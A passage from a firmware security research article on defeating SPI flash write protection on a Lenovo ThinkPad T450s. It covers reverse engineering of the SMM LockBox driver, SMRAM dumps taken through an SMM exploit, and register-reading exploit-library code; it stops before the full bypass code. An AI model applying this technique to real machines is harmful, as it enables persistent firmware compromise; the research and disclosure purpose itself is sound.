Exploring and exploiting Lenovo firmware secrets

Share this…

Hi, everyone! In this article I will continue to publish my research of Lenovo ThinkPad’s firmware. Previously I shownhow to discover and exploit SMM callout vulnerabilities on example of SystemSmmAhciAspiLegacyRt UEFI driver1day vulnerability. Also, I introduced a small toolkit called fwexpl that provides API for comfortable development of firmware exploits for Windows platform. My previous Lenovo exploit was able to execute custom code in SMM, such conditions allow relatively easy bypass of BIOS_CNTL security mechanism which protect firmware code stored inside SPI flash chip on motherboard from unauthorized modifications by operating system (BIOS_CNTL bypass also was discussed in my another article “Breaking UEFI security with software DMA attacks”).

In addition to BIOS_CNTL, modern Lenovo computers also use SPI Protected Ranges (aka PRx) flash write protection, so, in this article I will present my generic exploitation technique that allows to bypass PRx and turn arbitrary SMM code execution vulnerability into the flash write protection bypass exploit. This technique also can be applied to UEFI compatible computers of other manufacturers — they all use similar design of specific firmware features that responsible for platform security.

In second part of the article I will present a new 0day vulnerability in Lenovo firmware that allows arbitrary SMM code execution on a wide range of Lenovo models and firmware versions including the most recent ones. Exploitation of this vulnerability may lead to the flash write protection bypass, disabling of UEFI Secure Boot, Virtual Secure Mode and Credential Guard bypass in Windows 10 Enterprise and other evil things.

My test platform: ThinkPad T450s

Security mechanisms of Intel platforms

When someone decides to design a reliable firmware rootkit for modern platforms that can be installed to the flash in software-only way he have to deal with the following main mechanisms which make this task a quite difficult to solve:

  • BIOS_CNTL register of Platform Controller Hub (PCH) that accessible via PCI configuration space — one the oldest flash write protection feature that was introduced a long time ago. This register has BIOS Write Enable bit (BIOSWE) — when it’s clear only read access to the flash is allowed. BIOS Lock Enable bit (BLE) enables raising of System Management Interrupt (SMI) on every attempt to set BIOSWE. Once BLE bit is set — it can’t be modified till the next platform reset. Modern UEFI compatible firmwares usually setBIOSWE bit to zero and BLE bit to one during platform initialisation, in addition with SMM_BWP bit of the same register it allows to block write access to the flash from non-SMM code.
  • SPI Protected Ranges (PRx) — newer althernative flash write protection mechanism. It has some advantages over BIOS_CNTL: possibility to set write protection only on some certain parts of the flash chip (which is very useful for OEM’s which want to use single flash chip for firmware code and NVRAM), and the fact that PRx works independently from SMM code, so, in theory it allows to protect the flash chip even from unauthorized modifications by attacker who has access to System Management Mode.
  • Boot Guard — relatively new feature of Intel processors that was designed to solve a bit different task, prevent execution of unauthorized firmware code even if attacker managed to write it to the flash. Boot Guard uses public part of Intel key fused into the CPU to verify digital signature of early stage firmware code before it’s execution, this code must verify the rest part of the platform firmware to make Boot Guard have a sense. There was a lot of public discussions around this feature because de-facto it prohibits customers to use open source platform firmware like coreboot.

Different OEM’s can use one of these mechanisms or several of them. For example, my Intel DQ77KB motherboardfrom “Exploiting UEFI boot script table vulnerability” article uses only BIOS_CNTL flash write protection. One of my laptops, Apple MacBook Pro 10,2 is implementing flash write protection using PRx only. My current target, ThinkPad T450s is using both of them.

Boot Guard is out of scope of this article — it deserves a separate research. Also there’s almost no information about Boot Guard support in mass market computers. At this moment there aren’t any official or unofficial specifications on Boot Guard itself, Intel released only very brief description that doesn’t even provide enough of information to check if your platform has active Boot Guard. In “How many million BIOSes would you like to infect?” whitepaperLegbaCore claims that Boot Guard support is present at least in following ThinkPad laptops: T440, T440p, T440s, T440u, T450, T450s, T540, T540p, T550, W540, W541, W550s, X1 Carbon (20Ax and 20Bx), X240, X240s, X250 and Yoga 15 / S5 Yoga. Last generation ThinkPad models are shipped with Skylake microarchitecture chips which are available at the market and likely have enabled Boot Guard.

SPI Protected Ranges flash write protection

SPI Protected Ranges are configurable via memory mapped registers of SPI Host Interface which belongs to Root Complex Register Block (RCRB), a special set of registers that used to configure so called Root Complex — device that connects CPU and memory subsystem with PCI Express switch fabric. On modern Intel processors Root Complex is integrated into the CPU.

Different chipsets might have different location of Root Complex Register Block. My ThinkPad T450s uses 8 series Intel chipsets, so, I will use the following datasheets as information source:

  • “Intel® 8 Series/C220 Series Chipset Family Platform Controller Hub (PCH) Datasheet”
  • “Desktop 4th Generation Intel® CoreTM Processor Family Datasheet”

To determinate Root Complex Register Block address we need to read Root Complex Base Address Register that located at 0xf0 offset inside PCI configuration space of LPC bridge device:

The SPI Host Interface registers are memory-mapped in the RCRB with base address SPIBAR that has constant value of 0x3800 and are located within the range of 0x3800 – 0x39ff. There are 5 SPI Protected Range registers (PR0-PR4) in total, each of them is 4 bytes of length and first one is located at offset 0x74 from the beginning of SPI Host Interface registers region:

Hardware Sequencing Flash Status Register (HSFS) that located at offset 0x04 from the beginning of the SPI Host Interface registers region has FLOCKDN bit that allows to prevent PR0-PR4 registers value from modifications till the next platform reset. Usually, platform firmware sets this bit during platform initialisation:

CHIPSEC, platform security assessment framework from Intel, was already mentioned in my previous articles a lot of times. It has common.bios_wp module that allows to check current status of BIOS_CNTL and PR0-PR4 registers. Let’s check what values we have on ThinkPad T450s with 1.11 firmware version:

# python chipsec_main.py -m common.bios_wp

****** Chipsec Linux Kernel module is licensed under GPL 2.0

################################################################
##                                                            ##
##  CHIPSEC: Platform Hardware Security Assessment Framework  ##
##                                                            ##
################################################################
[CHIPSEC] Version 1.2.1
[CHIPSEC] Arguments: -m common.bios_wp

****** Chipsec Linux Kernel module is licensed under GPL 2.0

[CHIPSEC] OS      : Linux 4.1.6 #1 SMP Sun Aug 23 19:27:36 2015 x86_64
[CHIPSEC] Platform: Mobile 5th Generation Core Processor (Broadwell M/H / Wildcat Point PCH)
[CHIPSEC]      VID: 8086
[CHIPSEC]      DID: 1604

[+] loaded chipsec.modules.common.bios_wp
[*] running loaded modules ..

[*] running module: chipsec.modules.common.bios_wp
[*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BC = 0x2A << BIOS Control (b:d.f 00:31.0 + 0xDC)
    [00] BIOSWE           = 0 << BIOS Write Enable
    [01] BLE              = 1 << BIOS Lock Enable
    [02] SRC              = 2 << SPI Read Configuration
    [04] TSS              = 0 << Top Swap Status
    [05] SMM_BWP          = 1 << SMM BIOS Write Protection
[+] BIOS region write protection is enabled (writes restricted to SMM)

[*] BIOS Region: Base = 0x00500000, Limit = 0x00FFFFFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value    | Base     | Limit    | WP? | RP?
------------------------------------------------------------
PR0 (74)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR1 (78)     | 8FFF0EB0 | 00EB0000 | 00FFF000 | 1   | 0
PR2 (7C)     | 8E2F0DF1 | 00DF1000 | 00E2F000 | 1   | 0
PR3 (80)     | 8DF00DF0 | 00DF0000 | 00DF0000 | 1   | 0
PR4 (84)     | 8DEF0A00 | 00A00000 | 00DEF000 | 1   | 0

[!] SPI protected ranges write-protect parts of BIOS region (other parts of BIOS can be modified)

[+] PASSED: BIOS is write protected

As you can see — CHIPSEC reports that everything is fine, T450s firmware has properly configured BIOS_CNTL bits and also it defines two write protected regions of the flash chip located at address range 0xa00000 — 0xe2ffff (PR4,PR3, PR2) and 0xeb0000 — 0xffffff (PR1).

First of all, to break PRx flash write protection we need to have some code to determinate current values of PR0-PR4registers. For this work I will use libfexpl library that was introduced in previous article, it’s API allows to do such things in relatively user friendly way.

Function that locates Root Complex Register Block and reads PR0-PR4 registers on 8 series Intel chipsets:

// SPI interface registers offset for RCRB
#define SPIBAR 0x3800

// SPI protected range registers offsets for RCRB
#define PR0 SPIBAR + 0x74
#define PR1 SPIBAR + 0x78
#define PR2 SPIBAR + 0x7C
#define PR3 SPIBAR + 0x80
#define PR4 SPIBAR + 0x84

int pr_get(
    PUEFI_EXPL_TARGET target,
    unsigned long long *rcrb,
    unsigned int *pr0_val, unsigned int *pr1_val,
    unsigned int *pr2_val, unsigned int *pr3_val,
    unsigned int *pr4_val)
{
    unsigned long long RCBA = 0;

    // get Root Complex Base Address register value
    if (!uefi_expl_pci_read(LPC_RCBA, U32, &RCBA))
    {
        return -1;
    }

    // get Root Complex Register Block address
    unsigned long long rcrb_addr = RCBA & 0xffffc000;

    if (rcrb_addr == 0 || rcrb_addr > 0xfffff000)
    {
        return -1;
    }

    struct
    {
        unsigned long long addr;
        unsigned int *val;

    } pr_regs[] = { { rcrb_addr + PR0, pr0_val },
                    { rcrb_addr + PR1, pr1_val },
                    { rcrb_addr + PR2, pr2_val },
                    { rcrb_addr + PR3, pr3_val },
                    { rcrb_addr + PR4, pr4_val } };

    for (int i = 0; i < 5; i += 1)
    {
        *pr_regs[i].val = 0;

        // read single PRx register
        if (phys_mem_read_val(target, (void *)pr_regs[i].addr, U32, pr_regs[i].val) != 0)
        {
            return -1;
        }
    }

    *rcrb = rcrb_addr;

    return 0;
}

When FLOCKDN bit set it’s not possible to change PR0-PR4 registers values until the full reset, so, the most obvious weakness of the PRx flash write protection is the way of how exactly they are set by platform firmware during boot.

Besides normal boot path modern ACPI compatible computers firmware also implements a separate boot path for S3 resume that used when computer wakes up from S3 sleep — a special power state when the most of platform components are powered off (S4 and S5 resume are implemented in normal boot path, S1 and S2 resume is not used on most of Intel platforms). UEFI firmware has a special data structure called UEFI Boot Script Table that survives S3 sleep, it used to save platform registers values during normal boot path and restore them during S3 resume. Boot Script Table is stored in memory, so, if attacker is able to modify it from running operating system and trigger S3 suspend-resume — he will have a possibility to override the values of certain system registers that responsible for platform security. Firmware of some vendors doesn’t lock some of these certain registers before execution of Boot Script Table, flaws of this type are known as “UEFI Boot Script Table vulnerability” — I already wrote an article about it’s exploitation in normal conditions (i.e., from running operating system).

SMM LockBox and it’s place in S3 resume and normal boot path

To protect platform from such attacks UEFI specification introduced a special mechanism called SMM LockBox, it used to store Boot Script Table in System Management RAM (SMRAM) — memory region that accessible only for SMM code of platform firmware but not for operating system that runs during runtime phase. EDK2 code base provides a reference implementation of SMM LockBox drivers, it’s detailed description can be found in document called “A Tour Beyond BIOS Implementing S3 Resume with EDKII”. However, specific OEM or IBV may use their own SMM LockBox that has a lot of differences with reference code.

UEFI specification and Intel manual don’t explain how exactly firmware developers should set PRx and other security sensitive hardware registers during S3 resume boot path, so, they have a several options:

  • Make a special early stage UEFI driver that locks all of the necessary stuff before Boot Script Table execution. This way is the most secure one, but it’s also less convenient for developers because it puts it’s own limitations on the design of platform initialization code.
  • Restore certain register values using Boot Script Table stored in SMM LockBox — this way is more easy to implement but it doesn’t help when SMM code is one of the parts your threat model.

Because I already have nice and reliable 1day exploit that allows to execute arbitrary SMM code on a lot of Lenovo computers I decided to do reverse engineering of SMM LockBox used in my ThinkPad T450s firmware to check if it’s possible to use a Boot Script Tbale stored there to override PR0-PR4 registers with some incorrect values during S3 resume.

Reverse engineering secure S3 resume boot path

Using my 1day exploit for Lenovo firmware vulnerability we easily can read or write a whole SMRAM contents. To play with UEFI Boot Script Table we need to know how exactly SMM LockBox driver stores it into the SMRAM, then we will able determinate it’s location from our own code.

SmmLockBox driver from EDK2 has constant LockBox GUID value (bd445d79-b7ad-4f04-9ad8-29bd2040eb3c) used in different structures. Let’s load T450s firmware image into the UEFITool and do the search for this GUID:

SmmLockBox UEFI driver that was found with the help of UEFITool

Apparently, we found a proper DXE driver that implements SMM LockBox functionality. Let’s dump it to the disk, load in IDA Pro and decompile PE image entry function:

EFI_STATUS __fastcall start(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
    EFI_SYSTEM_TABLE *v2; // rbx@1
    EFI_HANDLE v3; // rdi@1
    __int64 v4; // rax@1
    EFI_STATUS v5; // esi@1

    v2 = SystemTable;
    v3 = ImageHandle;

    // initialize gST, gBS and other global variables
    sub_3F0(ImageHandle, SystemTable);
    v4 = sub_42C(v3, v2);
    v5 = v4;
    if (v4 < 0)
    {
        nullsub_1();
    }

    return v5;
}

Function sub_3F0() is responsible for statically linked runtime, like initialization of gST, gBS, etc. global variables and other things. Functions sub_42C() and sub_77C() perform initialization of SMM LockBox:

int __fastcall sub_42C(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
    return sub_77C(ImageHandle);
}

int __fastcall sub_77C(EFI_HANDLE ImageHandle)
{
    __int64 v1; // rax@1
    int v2; // ebx@1
    __int64 v3; // rax@4
    __int64 v4; // r9@7
    EFI_SMM_BASE_PROTOCOL *SmmBaseProtocol; // [sp+30h] [bp-20h]@1
    EFI_SMM_ACCESS_PROTOCOL *SmmAccessProtocol; // [sp+38h] [bp-18h]@7
    __int64 v8; // [sp+40h] [bp-10h]@3
    EFI_HANDLE v9; // [sp+70h] [bp+20h]@1
    char v10; // [sp+80h] [bp+30h]@2
    unsigned __int64 v11; // [sp+88h] [bp+38h]@7

    v9 = ImageHandle;
    v1 = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, 0, &SmmBaseProtocol);
    v2 = 0;

    if (v1 >= 0)
    {
        // determine whether driver was loaded into SMRAM
        SmmBaseProtocol->InSmm(SmmBaseProtocol, &v10);
        if (v10)
        {
            // locate EFI_SMM_SYSTEM_TABLE
            SmmBaseProtocol->GetSmstLocation(SmmBaseProtocol, &gSMST);

            gRT->SetVariable(L"Smst", gEfiSmmLockBoxCommunicationGuid, 3);

            // locate EFI_SMM_ACCESS_PROTOCOL
            gBS->LocateProtocol(&gEfiSmmAccessProtocolGuid, 0, &SmmAccessProtocol);

            v11 = 0;

            // get SMRAM address
            SmmAccessProtocol->GetCapabilities(SmmAccessProtocol, &v11, 0);

            gSMST->SmmAllocatePool(6, v11, &qword_F68);
            SmmAccessProtocol->GetCapabilities(SmmAccessProtocol, &v11, 0);

            LOBYTE(v4) = 1;
            qword_F70 = v11 >> 5;

            // register sub_674() as SMM callback
            SmmBaseProtocol->RegisterCallback(SmmBaseProtocol, 0xF9E9662B, sub_674, v4);

            // ...
        }
        else
        {
            // ...
        }
    }

    return v1;
}

As you can see, this module is implementing a typical SMM/DXE combined UEFI driver — I already explained how they work in my previous article “Building reliable SMM backdoor for UEFI based platforms”. In a few words, firmware code loads this driver two times — as normal DXE driver and as SMM driver that runs from SMRAM.InSmm() function of EFI_SMM_BASE_PROTOCOL is used by driver code to determine how exactly it was loaded.

If SMM LockBox driver is running in SMM it’s code performs some basic SMM specific initializations like obtainingEFI_SMM_SYSTEM_TABLE address, obtaining needed SMM protocols, some pool memory allocation, etc. The interesting thing — registration of SMM callback with RegisterCallback() function of EFI_SMM_BASE_PROTOCOL. DXE state code can communicate with this callback (apparently, it responsible for accessing Boot Script Table stored in SMM LockBox) with Communicate() function of the same protocol. Let’s check the callback code:

__int64 __fastcall sub_674(EFI_HANDLE ImageHandle, void *Buff, unsigned __int64 *BuffSize)
{
    unsigned __int64 *v3; // rdi@1
    void *v4; // rsi@1
    char *v5; // rbx@3
    unsigned __int64 v6; // rdi@4
    int v7; // eax@7

    v3 = BuffSize;
    v4 = Buff;

    if (Buff)
    {
        if (BuffSize)
        {
            v5 = (char *)Buff + 24;

            //
            // Check if caller buffer contains specific GUID at offset 24.
            // It allows to prevent arbitrary memory overwrite vulnerabilities.
            //
            if (_compare_guid(Buff + 24, &byte_2A0))
            {
                v6 = *v3;
                if (v6 >= 0x20 && (unsigned __int64)v4 <= 0xFFFFFFFFFFFFFFFF - v6 && !sub_438())
                {
                    // get SMM lockbox command value
                    v7 = *((_DWORD *)v5 + 4);
                    *((_QWORD *)v5 + 3) = 0xFFFFFFFFFFFFFFFF;

                    switch (v7)
                    {
                        case 1: // EFI_SMM_LOCK_BOX_COMMAND_SAVE
                            if (v6 >= 0x40)
                                sub_498(v5);
                            break;

                        case 2: // EFI_SMM_LOCK_BOX_COMMAND_UPDATE
                            if (v6 >= 0x48)
                                sub_56C(v5);
                            break;

                        case 3: // EFI_SMM_LOCK_BOX_COMMAND_RESTORE
                            if (v6 >= 0x40)
                                sub_5F4(v5);
                            break;

                        case 4: // EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES
                            if (v6 >= 0x38)
                                sub_51C(v5);
                            break;

                        case 5: // EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE
                            *((_QWORD *)v5 + 3) = sub_EB0();
                            break;

                        case -1:
                            byte_F20 = 1;
                            *((_QWORD *)v5 + 3) = 0;
                            break;
                    }

                    *((_DWORD *)v5 + 4) = -1;
                }
            }
        }
    }

    return 0;
}

The first interesting thing that happens in this function — it compares data at offset 0x18 from the beginning of the buffer that address was passed to EFI_SMM_BASE_PROTOCOL.Communicate() by callback caller with some GUID value that was hardcoded into the driver code. This simple trick implements primitive filtering of input arguments: let’s imagine that there’s SMM callback function that writes some data to buffer address that was passed by caller, with hardcoded GUID comparsion attacker will not be able to use such behaviour to overwrite arbitrary memory that he doesn’t control (for example SMRAM) — memory at target address must contain a magic constant value. If you will check SMM LockBox callback implementation from EDK2 you will find the following code that solves a similar task inSmmLockBoxHandler() function of SmmLockBox.c:

EFI_STATUS
EFIAPI
SmmLockBoxHandler (
    IN EFI_HANDLE  DispatchHandle,
    IN CONST VOID  *Context         OPTIONAL,
    IN OUT VOID    *CommBuffer      OPTIONAL,
    IN OUT UINTN   *CommBufferSize  OPTIONAL)
{
    EFI_SMM_LOCK_BOX_PARAMETER_HEADER *LockBoxParameterHeader;
    UINTN                             TempCommBufferSize;

    DEBUG ((EFI_D_ERROR, "SmmLockBox SmmLockBoxHandler Enter\n"));

    //
    // If input is invalid, stop processing this SMI
    //
    if (CommBuffer == NULL || CommBufferSize == NULL) {
        return EFI_SUCCESS;
    }

    TempCommBufferSize = *CommBufferSize;

    //
    // Sanity check
    //
    if (TempCommBufferSize < sizeof(EFI_SMM_LOCK_BOX_PARAMETER_HEADER)) {
        DEBUG ((EFI_D_ERROR, "SmmLockBox Command Buffer Size invalid!\n"));
        return EFI_SUCCESS;
    }
    if (!SmmIsBufferOutsideSmmValid ((UINTN)CommBuffer, TempCommBufferSize)) {
        DEBUG ((EFI_D_ERROR, "SmmLockBox Command Buffer in SMRAM or overflow!\n"));
        return EFI_SUCCESS;
    }

    // do the rest of the stuff
    // ...

    return EFI_SUCCESS;
}

Obviously, Intel approach is much more adequate — it doesn’t rely on any magic values like Lenovo one does (attacker is still able to overwrite some small subset of memory locations that actually begin with the same bytes as hardcoded GUID that SMM callback checks for).

Second interesting thing from sub_674() decompiled code — it definitely implements a switch-case that used to dispatch SMM LockBox commands very similar to EFI_SMM_LOCK_BOX_COMMAND_SAVE,EFI_SMM_LOCK_BOX_COMMAND_UPDATE, EFI_SMM_LOCK_BOX_COMMAND_RESTORE,EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES and EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE which can be found in SmmLockBoxHandler() function of EDK2 mentioned above.

Handler of EFI_SMM_LOCK_BOX_COMMAND_SAVE LockBox command, sub_498() function, is responsible for allocating SMRAM memory for Boot Script Table data and storing it there:

signed __int64 __fastcall sub_498(__int64 a1)
{
    __int64 v1; // rbx@1
    signed __int64 result; // rax@3
    char v3; // [sp+20h] [bp-48h]@1
    char v4; // [sp+40h] [bp-28h]@3
    _BYTE *v5; // [sp+50h] [bp-18h]@1
    unsigned __int64 v6; // [sp+58h] [bp-10h]@1

    v1 = a1;

    // copy structure EFI_SMM_LOCK_BOX_COMMAND_SAVE arguments to the stack
    memcpy(&v3, (_BYTE *)a1, 64);
    if ((unsigned __int64)v5 > -1 - v6 || nullsub())
    {
        result = 0x800000000000000F;
    }
    else
    {
        // save caller specified bootscript data into the SMM lockbox
        result = sub_BE4(&v4, v5, v6);
    }

    *(_QWORD *)(v1 + 24) = result;
    return result;
}

signed __int64 __fastcall sub_BE4(_BYTE *a1, _BYTE *a2, unsigned __int64 a3)
{
    EFI_LIST_ENTRY *v3; // rbx@1
    unsigned __int64 v4; // rdi@1
    _BYTE *v5; // r12@1
    _BYTE *v6; // rsi@1
    signed __int64 result; // rax@5
    unsigned __int64 v8; // r13@6
    __int64 v9; // rax@6
    __int64 v10; // rax@8
    __int64 v11; // rax@10
    _QWORD *v12; // [sp+50h] [bp+30h]@4
    _BYTE *v13; // [sp+68h] [bp+48h]@6

    v3 = 0;
    v4 = a3;
    v5 = a2;
    v6 = a1;

    if (a1 && a2 && a3)
    {
        v12 = sub_B80(a1);
        if (v12)
            return 0x8000000000000014;

        // allocate memory for SMM lockbox data list entry
        v8 = ((v4 & 0xFFF) != 0) + (v4 >> 12);
        v9 = gSMST->SmmAllocatePages(0, 6, v8, &v13);
        if (v9 < 0)
            return 0x8000000000000009;

        // allocate memory for UEFI boot script table
        v10 = gSMST->SmmAllocatePool(6, 72, &v12);
        if (v10 < 0)
        {
            gSMST->SmmFreePages(v13, v8);
            return 0x8000000000000009;
        }

        // set up SMM lockbox data list entry fields
        memcpy(v13, v5, v4);
        *v12 = 'LOCKBOXD';
        memcpy((_BYTE *)v12 + 8, v6, 16);
        v12[3] = v5;
        v12[4] = v4;
        v12[5] = 0;
        v12[6] = v13;

        // get UEFI configuration table entry with SMM lockbox data
        v11 = sub_9FC();
        if (v11)
            v3 = *(EFI_LIST_ENTRY **)(v11 + 8);

        // append a new entry to the end of the SMM lockbox data list
        _list_entry_append(v3, (__int64)(v12 + 7));
        result = 0;
    }
    else
    {
        result = 0x8000000000000002;
    }

    return result;
}

The actual thing is happening in sub_BE4() function that allocates two areas of SMRAM memory. First one is allocated with EFI_SMM_SYSTEM_TABLE.SmmAllocatePages() call, it used to store a copy of Boot Script Table which address comes from SMM callback input. Second one is allocated with EFI_SMM_SYSTEM_TABLE.SmmAllocatePool()call, it used for structure that keeps Boot Script Table copy address and it’s size, ‘LOCKBOXD’ signature, etc. Then code calls sub_9FC() function to obtain some internal structure address with pointer to the EFI_LIST_ENTRY head and adds previously allocated lockbox structure to the double-linked list.

Let’s check function sub_9FC() code to determinate the actual location of double-linked list head:

__int64 sub_9FC()
{
    EFI_SMM_SYSTEM_TABLE *v0; // rax@1
    EFI_CONFIGURATION_TABLE *v1; // rbx@1
    __int64 v2; // rdi@2
    __int64 result; // rax@5

    v0 = gSMST;
    v1 = 0;

    if (gSMST->NumberOfTableEntries)
    {
        v2 = 0;

        while (!_compare_guid(v2 + v0->SmmConfigurationTable, gEfiSmmLockBoxCommunicationGuid))
        {
            v2 += 24;
            v1 += 1;

            if (v1 >= gSMST->NumberOfTableEntries)
            {
                goto LABEL_5;
            }
        }

        result = gSMST->SmmConfigurationTable[v1].VendorTable;
    }
    else
    {
LABEL_5:

        result = 0;
    }

    return result;
}

As you can see, the code is looking for EFI_CONFIGURATION_TABLE structure that describes UEFI SMM configuration table entry with LockBox specific data by constant GUID. This configuration table was allocated in sub_A74()function that was called previously during driver initialization:

int __fastcall sub_A74(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
    EFI_HANDLE v2; // rdi@1
    __int64 v3; // rax@1
    int v4; // ebx@1
    __int64 v5; // rax@4
    __int64 v7; // [sp+30h] [bp-18h]@3
    char v8; // [sp+60h] [bp+18h]@2
    EFI_SMM_BASE_PROTOCOL *SmmBaseProtocol; // [sp+68h] [bp+20h]@1

    v2 = ImageHandle;

    // get EFI_SMM_BASE_PROTOCOL address
    v3 = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, 0, &SmmBaseProtocol);
    v4 = 0;

    if (v3 >= 0)
    {
        // check if we running in SMM
        SmmBaseProtocol->InSmm(SmmBaseProtocol, &v8);
        if (v8)
        {
            // get EFI_SMM_SYSTEM_TABLE address
            SmmBaseProtocol->GetSmstLocation(SmmBaseProtocol, &gSMST);

            // this function returns UEFI configuration table address if it's already present
            if (sub_9FC())
            {
                v3 = 0;
            }
            else
            {
                qword_F50 = 'LOCKB_64';
                qword_F58 = &stru_2F0;

                // install UEFI configuration table to store SMM LockBox specific data
                v3 = gSMST->SmmInstallConfigurationTable(
                    gSMST,
                    gEfiSmmLockBoxCommunicationGuid,
                    &qword_F50,
                    0x10
                );
            }
        }
        else
        {
            // ...
        }
    }

    return v3;
}

This UEFI SMM configuration table with pointer to the double-linked list head can be easily found using our own code thanks to the SMM LockBox GUID and constant signature ‘LOCKB_64’ at the beginning of the configuration table.

Let’s obtain SMRAM dump using my previous SMM 1day exploit (it has –smart-dump command line option), load it into the IDA and check how these structures actually look like:

Exploit successfully dumped SMRAM contents of T450s with firmware ver. 1.11

We easily can locate EFI_SMM_SYSTEM_TABLE in SMRAM by ‘SMST’ signature at it’s header, here’s the dump:

AD002290 dword_AD002290   dd 'TSMS' ; EFI_SMM_SYSTEM_TABLE header signature
AD002294                  dd 0
AD002298                  dd 9
AD00229C                  dd 18h
AD0022A0                  dq 0
AD0022A8                  dq 0
AD0022B0                  dq 0
AD0022B8                  dq offset loc_AD004B38
AD0022C0 gEfiSmmCpuIoGuid dd 5F439A0Bh            ; Data1
AD0022C0                  dw 45D8h                ; Data2
AD0022C0                  dw 4682h                ; Data3
AD0022C0                  db 0A4h, 0F4h, 0F0h, 57h, 6Bh, 51h, 34h, 41h ; Data4
AD0022D0                  dq offset sub_AD0046F0
AD0022D8                  dq offset sub_AD004740
AD0022E0                  dq offset sub_AD004794
AD0022E8                  dq offset sub_AD004874
AD0022F0                  dq offset sub_AD0043E8
AD0022F8                  dq offset sub_AD0044B4
AD002300                  dq offset sub_AD00408C
AD002308                  dq offset sub_AD0041F8
AD002310                  dq offset sub_AD003BB0
AD002318 qword_AD002318   dq 0
AD002320 qword_AD002320   dq 4
AD002328                  dq offset byte_AD3F5010
AD002330                  dq offset byte_AD3F4010
AD002338                  dq 4 ; number of currently installed configuration tables
AD002340                  dq offset gEfiSmmLockBoxCommunicationGuid ; configuration table list
AD002348 off_AD002348     dq offset off_AD3C8E90
AD002350                  dq offset byte_AD238490
AD002358 off_AD002358     dq offset byte_AD006000AD002358
AD002360 off_AD002360     dq offset byte_AD006000

At the end of the EFI_SMM_SYSTEM_TABLE you can find a number of currently installed UEFI SMM configuration tables and pointer to the array of EFI_CONFIGURATION_TABLE structures. Configuration table array with 4 entries (first one belongs to the SMM LockBox):

AD1D9D90 gEfiSmmLockBoxCommunicationGuid dd 2A3CFEBDh ; VendorGuid.Data1
AD1D9D90                  dw 27E8h                 ; VendorGuid.Data2
AD1D9D90                  dw 4D0Ah                 ; VendorGuid.Data3
AD1D9D90                  db 8Bh, 79h, D6h, 88h, C2h, A3h, E1h, C0h ; VendorGuid.Data4
AD1D9D90                  dq offset qword_AD3C8E10 ; VendorTable — SMM lockbox table
AD1D9DA8                  dd 0FB4672BBh            ; VendorGuid.Data1
AD1D9DA8                  dw 7185h                 ; VendorGuid.Data2
AD1D9DA8                  dw 41E2h                 ; VendorGuid.Data3
AD1D9DA8                  db 89h, 86h, B2h, 83h, F1h, 12h, 64h, 26h ; VendorGuid.Data4
AD1D9DA8                  dq offset off_AD2E5750   ; VendorTable
AD1D9DC0                  dd 0CB517B04h            ; VendorGuid.Data1
AD1D9DC0                  dw 8382h                 ; VendorGuid.Data2
AD1D9DC0                  dw 41E1h                 ; VendorGuid.Data3
AD1D9DC0                  db AAh, 23h, 85h, C8h, 97h, C6h, 33h, D4h ; VendorGuid.Data4
AD1D9DC0                  dq offset off_AD219690   ; VendorTable
AD1D9DD8                  dd 661CEF90h             ; VendorGuid.Data1
AD1D9DD8                  dw 1521h                 ; VendorGuid.Data2
AD1D9DD8                  dw 11DEh                 ; VendorGuid.Data3
AD1D9DD8                  db 8Ch, 30h, 08h, 00h, 20h, 0Ch, 9Ah, 66h ; VendorGuid.Data4
AD1D9DD8                  dq offset off_AD2F5710   ; VendorTable

Vendor table of SMM LockBox configuration table is located at 0xad3c8e10 address, signature ‘LOCKB_64’ was seen before in the driver code:

AD3C8E10 qword_AD3C8E10   dq '46_BKCOL'            ; SMM lockbox table signature
AD3C8E18                  dq offset stru_AD3A92F0  ; pointer to EFI_LIST_ENTRY of list head

SMM LockBox data double-linked list head is located inside LockBox driver image at address 0xad3a92f0:

AD3A92F0 ; EFI_LIST_ENTRY stru_AD3A92F0
AD3A92F0 stru_AD3A92F0    EFI_LIST_ENTRY <offset stru_ad2e55c8, offset stru_ad34cdc8>

One of the list entries at address 0xad34cdc8 contains Boot Script Table information structure with ‘LOCKBOXD’signature:

AD34CD90                  dq 'DXOBKCOL'
AD34CD98                  dd 9FF110E7h            ; Data1
AD34CD98                  dw 0DC36h               ; Data2
AD34CD98                  dw 4A4Ch                ; Data3
AD34CD98                  db 0B4h, 0E2h, 91h, 53h, 0D4h, 0BEh, 0C3h, 0BDh ; Data4
AD34CDA8                  dq 0ACC9F000h
AD34CDB0                  dq 7E12h ; boot script table size in bytes
AD34CDB8                  dq 1
AD34CDC0                  dq offset unk_AD1C1000  ; boot script table address
AD34CDC8 ; EFI_LIST_ENTRY stru_AD34CDC8
AD34CDC8 stru_AD34CDC8    EFI_LIST_ENTRY <offset stru_ad2e55c8, offset stru_ad3a92f0>

SMRAM copy of Boot Script Table is located at 0xad1c1000 address and has 0x7e12 bytes of length:

AD1C1000 unk_AD1C1000     db 0AAh                 ; 2-byte boot script table header
AD1C1001                  db    0
AD1C1002                  db  0Dh                 ; table entry size
AD1C1003                  db    0                 ; table entry opcode
     ...

This structure begins with 0xaa signature as well as the Boot Script Table used in EDK2 implementation of S3 resume boot path. However, the Boot Script Table format is significantly different from other format that I have seen previously (apparently, this one was optimized to make it smaller because SMRAM memory is limited system resource).

Breaking SMM LockBox to disable PRx flash write protection

I decided to implement functionality that reads and writes Boot Script Table stored in SMM LockBox on the top of my previous 1day exploit for Lenovo SMM callout vulnerability. Source file application.cpp already hasphys_mem_read() and phys_mem_write() functions that exploit the vulnerability to read or write physical memory from System Management Mode — it should be enough for our purposes.

First of all, we need implement the function that finds VendorTable of specific EFI_CONFIGURATION_TABLE by it’s GUID. Function smst_addr() is used to find an actual address of EFI_SMM_SYSTEM_TABLE by table header signature:

